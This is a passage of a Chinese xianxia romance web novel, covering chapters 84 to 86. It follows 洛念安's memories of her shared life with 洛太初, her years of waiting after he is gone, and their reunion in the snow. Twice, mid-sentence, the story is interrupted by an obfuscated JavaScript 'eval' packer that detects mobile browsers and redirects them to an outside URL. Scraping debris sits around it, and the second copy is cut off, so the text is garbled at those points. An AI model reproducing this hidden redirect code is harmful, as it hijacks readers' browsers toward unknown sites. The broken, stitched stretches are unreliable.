前方依水而建有一座村庄，洛念安往里走去，发现这小村家家户户门口都有一棵白玉兰树，村庄深处远离屋群的地方有一间小屋。洛念安穿过小院，看了一眼院中的白玉兰树，玉兰花开了满树。再走近去看，见这间屋子破旧不堪，墙皮脱落，门窗破旧，墙壁和屋顶连接处甚至有好几个大窟窿，一副摇摇欲坠的样子。她又透过窗框往里看，里面有一张灰比木板厚的桌子，旁边两张三条腿的椅子，再也没有其他的东西了。 洛太初下结论道：“这里一看就没人住。” 他的话语里隐隐带着些小兴奋。 “……”洛念安面露难色，嫌弃道：“我觉得我们没必要住这种地方吧。” 正说着，身后忽地响起一道苍老的声音：“你们是做什么的？” 洛念安回头看去，就听见洛太初的声音：“我们准备住在这里。” 那老人的视线在他们二人身上来来回回许久，转身走了。 洛念安也没管这小插曲，继续嫌弃道：“这里真不是人住的地方。” 洛太初微微挣扎着，被放下之后，在房子前来回看了一圈，肯定道：“我觉得挺好的，只是需要收拾收拾添些东西。” 这房子正儿八经地依水而建，出了院子往前走一段就是河边。风景倒是不错，可是…… 洛太初忽然停了下来，看向洛念安，道：“也对，姐姐肯定住不了这样的房子，那我们再去找找其他的住处吧。”说着他就走上前来，抬起胳膊要牵洛念安的手。 一路走来，这座村庄似乎就这么一间没人的房子。洛念安牵着洛太初，最终还是没办法下定决心，于是转身欲走。没成想对面乌乌泱泱来了一群人，为首的是刚刚那位老人。洛念安顿住脚步，下意识就把洛太初护在自己的身后。只是看着他们一个二个脸上都带着淳朴的笑，她又有些迟疑，停在那里没有妄动。 “姑娘，”那群人在洛念安面前停下，为首的老头笑着开口，“这里是白玉兰村，我是这个村的村长，看你带个小孩子要住这里，就找了其他村民拿了些东西给你，看你能不能用上。” 村长说完就带头把手上的东西放在洛念安脚边，后面的人接上，锅碗瓢盆、扫帚簸箕、镰刀斧头……放了一地。 洛念安一直愣在原地，只有洛太初在前面边接东西边道谢，然后送走了所有人。 大家来时乌乌泱泱一大片，走时也是，于是就把那摇摇欲坠的小院门框弄倒了。倒也没人在意，洛太初蹲在地上边收拾着东西，边兴奋地对洛念安道：“姐姐，他们都是好人，对吗？” 洛念安从惊讶中回神，反应过来这里好像不住也得住了，呆呆点头：“是的。” 洛太初的语调依旧上扬：“太好了，遇到姐姐之后所有人都变成了好人。” 这话洛念安听了有些想笑，这句话显然是不对的，但眼下她更好奇地上的一堆都是什么东西，也就没有去纠正。 “姐姐就不用管了，剩下的我来就好。” 于是接下来的一个时辰里，洛念安看着洛太初忙前忙后爬上爬下叮叮咚咚，像个旋风小陀螺一样进进出出，扫地擦桌子，修门修窗子……她几次想去帮忙，都被拒绝了，又实在不知道自己该干些什么，于是只能目瞪口呆地跟在洛太初身后看他忙着。 一个时辰后洛太初拉着洛念安进城一次，又带着一堆东西回到小破屋，然后又是一个时辰的忙碌，总算是满头大汗地停下来了。 洛念安震惊地站在门口看着新安上的门帘，拉起，放下，走进屋内一看，里面和刚刚相比简直是焕然一新，一东一西两张小床虽简易，但看起来也似乎也能睡。桌子虽坑坑洼洼，却也是一尘不染，椅子腿都从三条变成了四条，窗户封好了，墙上的破洞也勉强堵上了，就是屋顶的洞暂时够不到，于是没管，灶台收拾的干干净净，旁边堆放着新砍的火柴。 其实平心而论，洛念安遇到洛太初的那几年，没吃过什么大苦头，洛太初将一切都打理的井井有条。 听他讲，他帮那胖子跑腿，从城东跑到城西，又从城西跑到城东，忙活一日，不仅没吃上一口东西喝一口水，那胖子还耍赖不给报酬。洛太初与之理论，便出现了坠楼那一幕。 就算洛太初再节省，他们吃喝拉撒总是要用到钱，洛念安不忍他受欺负，便不叫他再出去跑腿。加之，一开始她可不是个省钱的主，要吃好的，穿好的，用好的，于是，就算洛太初有时上街摆摊卖卖院子里种的菜，或者在山里采得蘑菇，也完全不足以支撑二人的日常花销。故而，那几年洛念安下界时手上戴的，头上簪的，包括这件裙衫都拿去当了。 一件不剩。 她也不再买任何首饰，主要是当时看不上。不过有一年她生辰，洛太初用攒了许久的零花钱送了她一支素银钗，她倒是喜欢的紧，就那一支，从年头簪到年尾。 84. 君子一诺价值千金 思绪回笼，洛念安望着眼前的裙衫，一时感慨万千。这材质和工艺，她几乎确定这就是当年那一件。 这件裙衫实在太过抢眼，洛念安望了半晌，直到眼眶酸涩，才移开目光，眨了眨眼，视线又是一顿。 起初她还不确定，从裙衫前移步，与之错开，才看清衣架后面竟然是一副巨大的画像。 冷不丁在此处看见这样一副自己的画像，洛念安愣了一会儿，才缓步走上前去。 画像里的人几乎与她等高，唇角微弯，眉眼柔和似水。正穿着那件粉底鎏金凤尾裙，端立着，露出的一只手上戴着一枚精美绝伦的金凤指环，梳着惊鸿髻，发间簪着一对累丝嵌玉金凤簪。 也是那时被贬，心情不佳，故而也无心装扮自己。早知人界的日子那样难过，她便将自己头上手上都戴得满满的。 这画像一看便知出自谁手，洛念安忍不住弯起唇角，将自己画得这样栩栩如生，她竟不知洛太初还有这样的画功。 画像两侧立着两张方几，方几上摆放着几个大小不一的锦盒。洛念安犹豫片刻，伸手轻轻打开了其中一个锦盒，下一刻，画像中的累丝嵌玉金凤簪跃然眼前。 洛念安猛地愣住，又打开了它旁边的锦盒，是另一支累丝嵌玉金凤簪。 稍微小一点的锦盒中，是画中的金凤指环。洛念安缓缓眨眼，伸出左手，中指上戴着的是她生辰时，洛太初送她的那一枚指环，与眼前这枚几乎一模一样，只是嵌的玉石多了些。 她不知道洛太初是何时从何处寻回的这些。 时过境迁，寻回它们如同大海捞针，但他真的捞到了。一样不差。 洛念安回神，又走到画像的另一侧方几前，这处摆放着两个方盒。她猜不到里面是什么，毕竟，当年她带下去的东西只有那些。 这样想着，她伸手，打开了离她最近的锦盒，里面躺着的是那个缥色荷包。它被平平展展地摆在里面，连头边的系绳都完全对称地摆在两侧。 洛念安眼眶一热，又忍不住笑了起来。没想到这样丑的荷包，有一日竟会被人当作宝一样摆在锦盒之中。 她愈发好奇另一个锦盒里是何物了，毕竟想到的想不到的都在眼前，她也实在记不得自己还有什么，或者送给了洛太初其他什么东西。 洛念安冥思苦想一阵，忽然想到，那串朱砂手串。 但其实她也不太确定，毕竟印象里，那手串一直戴在洛太初的手腕上。 思绪尚未清明，手却先脑子一步，打开了另一侧的锦盒。待看清里面之物，洛念安猛地愣住。 “愿你永如艳阳当空，一路繁花似锦，一帆风顺。” 她手作的那块朱砂吊坠？！ 洛念安懵然拾起那块吊坠，手指在正面摩挲一番，又翻至背面，再次愣了神。 那吊坠的背面原本刻着洛霁禾的名字，如今却被打磨掉，取而代之的是“洛太初”三个字。 这三个字在眼前无限放大，直至撑满整颗心脏，与之一起跳动不息。 拇指划过刀痕，温热的泪水一滴一滴砸在上面，将这暗红都浸染的浓艳几分。 “这些白菜竟长得这样好，若是养一只兔子，每日都能吃上这样新鲜的白菜，多幸福啊。” 洛太初正忙活着自己种的菜，闻言停下来看向坐在院中惬意晒着太阳的洛念安，笑道：“姐姐喜欢小兔子？” 摇椅前后摆着，洛念安悠闲地晃着腿，思索道：“很可爱啊，但其实......”她眼眸一转，“我更喜欢吃烤兔子，哈哈哈哈。” 洛太初轻笑道：“姐姐想吃，我待会可以去后山看看有没有野兔。” 洛念安咽了咽口水，又道：“我只是说说而已啦，好好的，没事把人家捉来吃了不太好吧？”她说着又开始天马行空起来，“其实我想养一只......虎或者豹子，替我们看家护院，是不是很好？或者，养一只白狐？好看。不如我们养几只鸡？过年可以宰了吃。” 洛太初点点头，走过来坐在她身侧，询问道：“姐姐还想养什么？” 洛念安认真思考了一会儿，然后道：“暂时就这些吧，太多了这院子就装不下了。” 洛太初道：“这好办，反正周围没有人家，我将院子扩大些就是。” 洛念安扭头看他，现在的他已经不将绷带缠的满脸都是了，只是伤疤处还缠着两圈。她道：“你认真的啊？” “对啊。”洛太初也看她，笑着道。 听他这么一说，洛念安却犯起了愁：“可是，万一虎豹把鸡都吃了怎么办？再说我们好像也养不起它们吧？你辛辛苦苦种的菜，还是留着我们自己吃得好。” 洛太初闻言笑了一会儿，然后道：“其他暂且不论，兔和鸡我们还是养得起的。” 后来他们并没有养这些。 因有一次洛念安带着洛太初外出游玩了小半月，再回来时，发现院中到处都是鸡屎，菜地里一半大白菜都被啄得不成样子。 洛念安为此心疼好几日，再也没了养鸡的想法，连带着兔子也不想养了。 思及此，洛念安掩下心中酸涩，笑着摇摇头，将吊坠上的眼泪擦干，又小心放了回去。她的视线再次落在那副画像上，从上到下细细描绘。 她不知洛太初会站在何处看她，或许他们的身影会在某个时空重叠相拥。 这天夜里，洛念安是在洛太初的寝殿睡下的。此处仿若存有他的气息，可解相思。睡着后，她做了一个梦。梦到了他们出去游玩的那小半月里发生的一桩事情。 这日，洛念安带着洛太初随意进了一家客栈歇下，外面天色已暗，两人凑在一起看着地图商量着明日去哪里游玩，吃什么小吃。差不多敲定以后，二人便下楼要了些吃食。 洛念安找了张靠角落的桌子坐下，等菜间隙，视线落在旁边的桌子上。那边一桌四人，每人的身侧都放着一把长剑，看起来像是修行人士。 他们四个围在一起窃窃私语，饶是洛念安听力上佳，注意力落在那处，便零零散散听到些：“都死光了。” “闹得凶啊。” “季家做了什么亏心事？” “一夜之间……百十条人命……” 洛念安回神，发现洛太初正望着自己，她一怔，随口道：“饭菜怎么还没上来？” 洛太初闻言起身：“我去问问。” 他一走，洛念安又往隔壁桌看去，听他们的意思，大概是夜晚要去那季家看看。 他们也是这家客栈的住客，先吃完便上楼去了。洛念安等洛太初吃完，一起上了楼。他们这间客房中间是一间厅房，两侧各一间带床的小厢房。两人各自收拾好，互道了晚安，便回房休息。 洛念安看着洛太初的房门关上后，假意关上的房门又悄悄打开，轻手轻脚回到厅房坐下。她托腮倚在桌子上，闭目细听着周遭的动静。不知过了多久，就在她正欲昏昏欲睡之时，忽然被两道开门声惊醒。洛念安猝然睁眼，几步来到门边，听到外面下楼的动静，便也开了门，跟了出去。 起初洛念安还担心他们御剑飞行自己跟不上，后来发现完全是多余。那四人在前面慢慢悠悠地走，一路上吹着牛，时不时举剑比划两下。要不是她不知道具体位置，也不用跟得这样辛苦。 跟着跟着，竟跟到了城外。几人越走越偏僻，慢慢地，说话声也消失了，连步子都快了许多。 不远处，一座庄严的宅子矗立在月光中。忽然一阵阴风起，带来了阵阵啜泣声。 那几人原地驻足片刻，互相对望一眼，又继续往前走去。 啜泣声愈发清晰，那座宅子近在眼前，突然爆发出一阵猛烈地敲门声，宅内的声音随之嘈杂起来。 “放我出去！” “放我出去！” “我的头呢？我的头去哪了？” “放过我吧，是他的错！都是他的错！” 洛念安倚在树后，闻言眉头一皱。 怨灵？ 有人将它们困在了这座宅子中。 洛念安四下张望，忽然发现自己身后的是一颗桃树，便随手折了一根桃树枝握在手中。她微微探出身去，视线里那四个人却都突然消失不见了。洛念安心下一惊，暗道不好，几步奔向前去，来到那座鬼宅前。 那宅门上贴满了符咒，不知是想困住屋内人，还是想防住屋外鬼。 里面的敲击声不断，洛念安四下望去，实在不知那四个人眨眼间去了哪里。她扫视一圈，视线再次落在那宅门上，脑中忽闪过一个念头：“他们不会......在里面吧？” 洛念安吞咽一下，握紧手中的桃枝。她尚不知里面的怨灵是何修为，现在又无灵力傍身，若擅自开门，一时不察放走了里面的东西为祸人间，岂不是闯了大祸。 可是现在那四人无影无踪，她一时半刻又不知去何处寻到帮手，一时间有些束手无策。 洛念安正绞尽脑汁思考对策，忽然，眼前闪过一抹金光，落入宅中，接着又是两束金光紧随其后。 洛念安愣了神，那样的光束，应是神界之人。意识到这一点，她的第一反应是跑。可前脚刚迈出去，后脚又收了回来。 总得看看那四人是否在宅内，又是否安然无恙吧？ 洛念安犹豫着，转而走到门前，内里的抽泣声击打声已经平息，她尝试着推开宅门。宅门却忽然被人打开，那四人慌慌张张地开门要跑，冷不丁看见有人站在门前，吓得惊叫出声。 洛念安被他们的叫声吓了一跳。 “是人是鬼？！”有人大声质问。 “是人。”洛念安淡定回道。 四人的视线在她身上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15160429|152665||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 停留片刻，又许是觉得逃命要紧，便纷纷跨过门槛，跑了。 洛念安见那四个尚能活蹦乱跳，便放下心，也准备跟着离开。可是这边的动静似乎惊动了内里，她将欲转身，眼角瞥见一抹身影出现，紧接着便是一声：“来者何人？” 洛念安脚步一顿，正估量着与神赛跑的胜算是几何，便察觉到那身影愈靠愈近。不得已，洛念安回过身去，来人着一袭青袍，周身金光闪闪，刺得人几乎不能直视。但洛念安还是强撑着对上了他的视线。 不知此番前来是分身还是本尊，不过若无特殊情况，分身与本尊容貌相同，不会轻易改变。故而她知晓此人，当今神界武职上神之一，虽不知其名号，但这袭青衣她认得。洛念安知道此番前来的不止一位上神，其他两位若是没猜错的话，一人着蓝衣，一人着紫衣，他们三个十分要好，每逢出现总是形影不离。尤其上神出任务时，多半也会与人结伴，以免突发状况。 二人视线相撞半晌，无一人先开口说话。 洛念安在等着他行礼，他不知在等什么，看着她时面上眉头一挑。期间，另外两位上神也从两侧聚了过来，见到洛念安，皆是眉头一挑。几人互相对望一眼，嘴角扬起一抹不知名的笑意。 洛念安不懂他们在笑什么，只是那笑让她浑身都不舒服。那三位缓缓靠近她，青衣出声道：“珈洛殿下，许久未见，你这是？”他的视线从她手中的桃枝划过，又落在她面上。 他不曾行礼，洛念安已经有些不悦，这样的语气和态度让她更是蹙起了眉头：“此地有异，本宫前来看看。” 蓝衣笑了几声，走上前来：“殿下这样热心肠，只是降妖除魔本是天神之事，现下与殿下好像并无关系吧？” 他与青衣对视一眼，笑容中的嘲讽毫不掩饰。 他们几个站在那，身上的光芒并未收敛，反而愈发强盛起来。 洛念安握紧手中的桃枝，闻言直觉双耳发热，尚未开口，便听另一侧的紫衣道：“莫要这样说，殿下生而为神，如何能与殿下毫无关系？” 听言，洛念安面上的神色才稍稍缓和几分，然而下一刻，那紫衣又道：“哦对了，差点忘记了，殿下现在被贬了，已经不是神仙了呢。” “你们......”洛念安一愣，咬牙道，“放肆！本宫乃神界公主殿下，你们岂敢......” “殿下莫不是忘了自己是何等境况？”蓝衣微笑道，“这样的话等殿下有朝一日回了神界再说吧。”他说着，看向身侧的青衣，“你说她何时能回去呢？” 青衣道：“几百年？上千年？或许永远回不去也说不定呢。” “哈哈哈哈哈哈哈......” “你们！欺人太甚！”洛念安忍无可忍，脑子一热举起桃枝便要冲上去和他们斗个你死我活。结果还未靠近，便被他们周身的金光弹了回去，摔在地上。 她这般不自量力，惹得几人哈哈大笑。 青衣道：“殿下，以你现在的身份，是没有资格同我等讲话的。” 洛念安趴在地上，从未有过的屈辱让她忍不住红了眼眶，她咬着牙，想要起身，手心一阵刺痛，转过来一瞧，却是磨掉了一块皮。 “姐姐！” 模糊的视线里出现了一个身影，越靠越近。 洛太初冲到洛念安身边，伸手扶她。洛念安不知他会出现，愣神片刻，才借力站起身子。甫一站定，洛太初便撒开手冲进宅子，一边大喊一边扑上前去：“你们不准欺负她！” 他自然也没办法靠近，洛念安忙冲出去几步，将他接在怀中。洛太初倚在她怀中，眼神却死死盯着他们三个。 那三位见到来人，面面相觑一阵，面上先是讶然，随后便被一种意味不明的神情替代。他们本不应在人前暴露身份，于是乎，齐齐转身飘飘然离开。 洛太初见状又要往出冲，洛念安拉住他，却一下子碰到手上的伤，疼得她倒吸一口凉气，却还是劝道：“小初，罢了，我们打不过他们的。” 洛太初听到动静，顿时冷静下来。他转身，皱着眉牵起洛念安受伤的那只手，仔细瞧了瞧，又送到嘴边，吹了几口凉气。 洛念安望着他，心中的阴霾仿佛一下子被吹散了不少。她轻声道：“好了小初，不疼了。” 她说着，忽然感受到手指处传来温热的湿意。洛念安一怔，伸手将面前的孩子揽近，蹲下身子望着他，见他满面泪痕心头一热，安抚道：“没事的小初，我真的不疼，一点都不疼。” “姐姐，”洛太初抬手胡乱擦拭了一番面上的眼泪，望着她坚定道：“等我长大了，一定会变成最强的人，保护姐姐，不让任何人欺负姐姐。” 洛念安闻言微微一愣，随即弯唇笑了起来，她道：“好。小初一定会变成最强的人，保护好自己，也保护我。” 85. 久别之人会再重逢 他走后的第一年冬。 神界皆知，每日只有辰时可在珈洛大殿见到天帝，余下时间，她不是背着把银剑在人界，便是在极北之地，天极雪莲前修炼护法。 那处拥有神界最强劲之阵法，无人可近。神界虽无明文规定，但大家心中都默认将其设为禁地。 中天珈洛大帝信徒祈愿几乎有求必应，座座神庙拔地而起，香火之旺盛空前绝后。 人界到处都有天帝的身影，但只有背着银剑的那位，是其本尊。 他走后的第二年春。 洛念安从卷轴中抬头，看向面前的两人，展露笑颜：“二位将军，你们来了。” 柳渊与赫连昭行礼：“帝君。” 洛念安道：“私下里就不必这样客气了。” 柳渊只是客套那一下，直起身便自顾自坐到了玉案前。赫连昭跟了过来，小声谴责道：“不守规矩。” 柳渊扬眉：“什么规矩？”他说着，已经拿起了洛念安手边的一册卷轴展开扫了一眼，密密麻麻全是字，看得他头晕，便又放了回去。 洛念安摆摆手表示不在意，她看了两人一眼，问道：“二位前来所为何事？” 柳渊的手伸向了旁边的果盘，他道：“没事啊，只是我俩许久没见你，来看看。” 洛念安抿了抿唇，继而笑道：“若我没记错，似乎前两日有一次殿议。” 柳渊往嘴里扔了颗葡萄，道：“那不算。” 赫连昭的视线落在她面前的卷轴上，询问道：“师父在忙什么？” 洛念安道：“整理着信徒的祈愿。” 赫连昭点点头，与柳渊对望一眼，然后试探道：“师父稍后是要去极北之地还是下界？” 洛念安垂眸扫了一眼卷轴，思索道：“先下界吧，处理些公务。” 赫连昭抬手抓了抓头发，露出笑意，又道：“那不如一起？” 柳渊也跟着点头。 洛念安一顿，抬眼看向他们，问道：“你们待会无事？” 柳渊道：“本尊是可以无事。” 洛念安微微一笑：“那好吧。”她说着起身，又道，“我看今日大抵也无人再来寻我了，便即刻出发吧。” 柳渊抓了几颗葡萄才站起身，一边往嘴里塞一边道：“走吧走吧。” 赫连昭白他一眼：“没吃过葡萄？” 柳渊道：“帝君这里的当然比我那处的好吃。” 洛念安拾起身旁的断魂背在身后，扫了一眼铜镜中的天极雪莲，闻言无奈笑道：“哪里的话，都是一样的。” 他走后的第三年夏。 洛念安总觉得这三年过得似乎比她以往过三百年还要长得多。 她白日里愈发忙碌，被各种事情占据着，几乎无暇顾及其他。只有每个夜深人静的晚上，她才有闲暇静坐在天极雪莲之侧，对着那点银光，轻声诉说着这一日发生的一切，再询问一番他何时归来。 她也不似一开始那般急切地想要一个答案，时间一长，整颗心反而平静了下来。 疾风骤雨般的伤痛早已消逝，却留下一地潮湿，将她永远困于其中。 “帝君，”叶蓉立在殿门前，出声道，“翼族念华前来找您，说是想要祭拜清漓帝后，被我拦在下面了。” 洛念安闻声抬眸，疑惑蹙眉：“念华表兄？他今年不是来祭拜过了吗？”她说着，将手中的卷轴卷起放好，站起身道，“去看看吧。” 叶蓉跟在她身后，小声道：“洛姐姐，我看他目的不纯啊，清明时节翼族人不是都来过了么？他这次独自前来，估计不止是祭拜这么简单。” 洛念安扬眉反问：“那他究竟是何目的？” 叶蓉撇撇嘴：“不太清楚，反正我的直觉是这样告诉我的。” 洛念安轻轻一笑，道：“他今日只要不将神界砸个稀巴烂，都不是大事。” 叶蓉闻言，抬手摸了摸鼻子，小声嘀咕道：“那他估计也没那个本事。” 说话间，二人已经拾阶而下，来到念华面前。 念华见到来人行礼道：“见过帝君。” 洛念安面上挂着笑：“表兄不必多礼。” 念华直起身子，说明来意：“今日前来，是想祭拜紫微大帝与清漓帝后，不知是否打扰了帝君？” “不会。”洛念安虽然晨起已经去看望过自己的父君母后，现下他来，自然要陪同一起，便道，“表兄请。” 念华道：“帝君请。” 洛念安回眸看向叶蓉，叶蓉的视线从念华身上移开，见状道：“人界还有事，我便先去忙了。” 洛念安轻轻点头，与念华一道往祭拜之地走去。路上，念华说着翼族的近况，两人虽没见过几次面，但血缘亲情相系，总也不算生分。 洛君逸与念清漓的神位位于神界最清静之地，依山傍水，仙鹤成群。 洛念安打开阵法，带着念华进去。 清浅的池水上，浮着两朵盛开的金莲，莲心出闪着金芒，汇成他们的神号与名字。一朵金莲旁浮着一片荷叶，上面载着的是洛君逸的法器。 二人踏着逐一开放的荷叶来到金莲前，周遭极静，唯有水声潺潺。 洛念安与念华齐齐行礼，连拜三下后直起身。 念华望着金莲久久未移开眼，大抵是在心中说着些什么。 不知过了多久，他动了动身子，转而看向洛念安。洛念安会意，带着他原路离开，挥手关闭阵法。 回去的路上，洛念安率先开口道：“母后知晓表兄前来看她，定会高兴。” 念华微微点头，又扭头看向她，犹豫道：“帝君，有一事不知当讲与否？” 洛念安道：“表兄但说无妨。” 念华道：“听闻，云祉殿下并非姑姑与姑父亲生。” 洛念安闻言一顿，侧目看向他，下意识询问道：“表兄是听何人所说？” “道听途说罢了，”念华道，“只是若此事为真，他并非天神族后裔，便该昭告神界各族，而他也不该平白待在神界无所作为。” 洛念安抿紧双唇，眉头轻蹙，又舒展开：“我知表兄的意思，只是他也是无端被卷入这场是非之中，真相与他而言本就难以接受，若再将他逐出神界，岂非太过残忍？再者，我已经认他做义弟，他便仍是神界的殿下，至于能否成仙成神，便要看他自己的造化。” 念华闻言沉吟片刻，点头道：“帝君所言极是。”他停下脚步，“只是帝君只想他人难以承受真相，帝君又何尝不是统统受下？” 洛念安微微一怔，觉察出他的异样，停下来纳闷看去。 念华却忽然伸出手，洛念安敏锐察觉出他的意图，侧身避过，眉头随即皱下。 念华的手僵在那处，片刻后悻悻收回，出声道：“抱歉，是我唐突了。安儿，我......我心悦于你，真心心悦于你。” 洛念安抿唇，沉默片刻，叹息一声，又转身面向他道：“表兄既能听闻云祉之事，那便应该也听说过，我有心上人。” “我知道，”念华的呼吸有几分急促，“可是他不是已经......已经......” 洛念安的眸光陡然一凛：“我会一直等他，千年万年，哪怕身死魂灭，我都会等他。” 念华闻言，垂下眼，面上的低落显而易见，片刻后，他道：“可你是天帝，若他永远回不来了，你真的能一直等他吗？天神族统领神界万年，不能断送在你手里。” 这番言论，听得洛念安气极反笑，她压下心中的不悦，温声道：“表兄此言差矣。天帝之位一向是能者胜任，常言道，‘青，取之于蓝而青于蓝’，说不定百年之后便有人胜过我，谁又敢断言我所出之子便一定是神界各族之中的佼佼者？再者，我的职责在于守护苍生振兴神族，至于下一任天帝究竟是谁出自哪里，全凭天意，不在人为。” 念华闻言，面上的神情又忽然转为沮丧，他道：“抱歉，是我说错了话。安儿，我……我可以等你。” “……”洛念安看着他，见他这样虽心有不忍，但仍是道：“多谢表兄的心意。但，你我无缘，不必强求。” 念华靠近一步：“安儿……” 洛念安后退一步，道：“按规矩，表兄应唤我一声‘帝君’。”她别开视线，“我尚有公务在身，恕不能奉陪。告辞。” 他走后的第四年秋。 洛念安背着断魂走过了许多地方，也曾几次路过巴蜀郡，却没有踏足一次。 既然说好了两人一起，便一定要两人一起。 分身在散落在九州大地忙到飞起，本尊正坐在茶馆听曲品茗。 这里的茶有点好喝，厅内唱曲儿的人也分外好看。洛念安正是被她们的美貌所吸引，才留下来要了一壶茶水。 白肤，卷发，眉眼深邃，穿藏蓝布衣，戴满银饰。 九黎族人。 除了洛太初，洛念安也没接触过其他九黎族人，之所以如此肯定，是因为她们的容貌特点与洛太初相似。不过洛太初不是纯正的九黎族人，其父母应有一位来自中原。故而他虽生得好看，但不会给人那般强烈的异域之感。 正喝着茶听着曲儿，包厢的厢门忽然被人敲响。 洛念安侧目看去，出声道：“请进。” 厢门被人打开一条缝隙，一位女子立在门边，笑意盈盈地望着她，却说了一句她听不懂的话。 “？”洛念安目露疑惑，以为自己没听清，便道：“抱歉，你方才说了什么？” 那女子扬了扬眉，进了包厢反手关上厢门，银饰随着她的动作叮当作响。她嗓音甜美，微笑出声道：“念安？” 洛念安猛地一愣，抬眼细细将面前之人看了又看，她肯定自己从未见过这女子：“你如何得知我的名字？” 那女子走到洛念安对面坐下，伸手将她杯中的茶水添满。不答反问道：“你不是九黎族人？” “多谢。”洛念安先是道了谢，闻言道，“我看着应与你们不相像。” 那女子轻笑出声，十分动听，她道：“可是你的剑上，刻着我们九黎族的文字。” 洛念安一愣，伸手将身侧的断魂捞起，凑到眼前细瞧，她又转过剑身，指着上面那串看不懂的符号问道：“这是九黎族的文字？” 女子点头：“是啊，意为‘念安’二字，你说这是你的名字，可你又不认识，真是稀奇呢。” 洛念安彻底愣住，她的视线在那串符号上停留许久，视线渐渐模糊，直到眼前的字都看不真切了。 “你怎么了？”女子递来一方手帕。 洛念安伸手接过，拭去眼角的泪水，有些不好意思道：“抱歉。” “没关系，”女子道，“是我勾起了你的伤心事吗？真是抱歉。” 洛念安赶紧摇摇头：“不是不是，我还要多谢你告诉我这串文字的意思。” 女子轻轻点点头，一双眼眸温柔似水，就这样望着她。 洛念安随即道：“这是我爱人的佩剑。” 女子眼眸微睁，轻声问道：“你爱人是九黎族人？” 洛念安点头：“是的。” “原来如此。”女子笑了笑，看她的反应，也识趣地没有多问。 洛念安的手指轻轻摩挲着那串文字，一边蹙着眉，一边又弯起唇角。 女子安静地看着她，半晌，轻声道：“你们很相爱。” 洛念安抬起眸看向她，将断魂好好放置一旁，微笑道：“是的。我们很久之前便相识，后来分开，多年之后又再次重逢。” 女子闻言，扬眉笑道：“缘分竟如此奇妙。” “是啊。”洛念安托腮倚着桌面，眉眼都是笑意。只是片刻后，那些笑意散去，取而代之的满是落寞。 女子问道：“你们在九黎族生活过吗？” 洛念安摇摇头：“没有 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“可是都过了这么久了，要是连圣物都没用……” “赶紧闭嘴吧。有没有用先放一边，不管怎么说，总是个念想。” …… 他走后的第十一年冬。 听闻，人界北方下起了鹅毛大雪。 “吱呀”一声，洛念安垂眸看着自己在这片纯白的世界留下的印记，脚步一转，在原地踩出了一朵花来。 她低头欣赏了一会儿自己的杰作，又俯下身，抓起一把雪，捏成一团，然后扔出。雪球飞起，飞至很远的地方才落下。洛念安手掌挡在额头上，看着它大致落下的位置，那雪球往前翻滚了几圈才停下。 洛念安看着，忽然觉得无趣极了。 她寻了一处满意的地方，蹲在地上开始搓起了雪球。 临北的风声猎猎，似刀片般，刮在人脸上生疼。 大雪纷飞，不一会儿便将那朵花盖上，看不见了。 洛念安蹲在地上，纯白的貂裘与广袤的雪原融为一体。片刻后，画卷上有一处动了动，很快便在这张画纸上留下一道道痕迹。 洛念安哼哧哼哧滚了一个到她腰处大小的雪球，弯着腰勤勤恳恳将它修得光滑。好半晌才直起腰，四下看了看，手掌一翻，将那雪球凭空托起，又寻了一处满意的地方放置。 然后她又回到原处，继续滚一个小一些的雪球。 修整好后，拖着它，落在那颗大雪球的上面。 洛念安翻出乾坤袋，从里面掏出一根胡萝卜，插上，两块鹅卵石，安上，一块锦步，系上。终于，一个不太好看的雪人大功告成。 她望着立在身前的雪人，想要再去堆一个小一些的。但她现下实在有些累了，便原地坐了下来，裹紧身上的狐裘。其实她不怕冷的，只是这刀子般的风刮的人不太好受。 洛念安抱着双膝蜷缩在一起，戴上帽子，下巴搁在臂弯处，盯着眼前的雪人看了半晌，不知是这纯白使人眩晕还是什么，竟缓缓闭上了眼睛。 她没睡着。这冰天雪地实在不是个适合睡觉的地方。只是疲惫，前所未有的疲惫。 不知过了多久，洛念安觉得自己休息的差不多了，便缓缓睁开眼睛，她始终记挂着还有一个雪人没有完成。 洛念安抖了抖身上的风雪，摘下帽子，正欲起身，眸光中忽然多出了什么东西。她动作一顿，顺着看去，发现那个大雪人身旁不知何时竟立着一个金丝黑锦衣的小雪人。 洛念安呼吸一窒，她眨了眨酸涩的眼睛，确认自己没有眼花，又缓缓伸手，尝试触碰，凉意袭来，惊得她猛地缩手。 天地皆空，人鸟声俱绝。 然而，猛烈的心跳声和急促的呼吸声很快打破了这份沉寂。 “姐姐在想我吗？” 洛念安猛然愣住，明明声音就在身侧，她的脖子却像是僵住了一般动弹不得。嘴唇颤抖不止，好半晌，她才扭动脖颈，视线中最先出现的是一袭黑底金丝锦袍，缓缓抬眼，眸光中映照出那位如花般美艳的少年。 洛太初蹲着身子，垂眸凝望着她，嘴角含着笑意，眼角却又通红。 “是梦吗？”洛念安轻声呢喃，她缓缓抬手，想触碰那张日思夜想的面庞，却又不敢，每次在梦中，她尚未碰到，眼前之人便又消失不见了。 她刚要收回，手背却传来冰凉的触感，下个瞬间，手心处也是同样的触感了。 被凉意刺激着，洛念安仿若大梦初醒一般，她真真切切地感受到眼前人的存在，正欲开口，眼泪却先一步簌簌而流。 大雪纷飞，数不尽的雪花诉说着无穷尽的思念。 下一刻，他们在雪原里相拥。 86. 结同心此生不相离 “聘礼呢？聘礼多少？”柳渊摇着扇子嚷嚷。 一刻钟后，几人看着面前黄灿灿的金山，噤声一阵儿。 柳渊举扇遮了遮眼睛，看向洛太初：“你什么时候把人家金山挖过来了？” 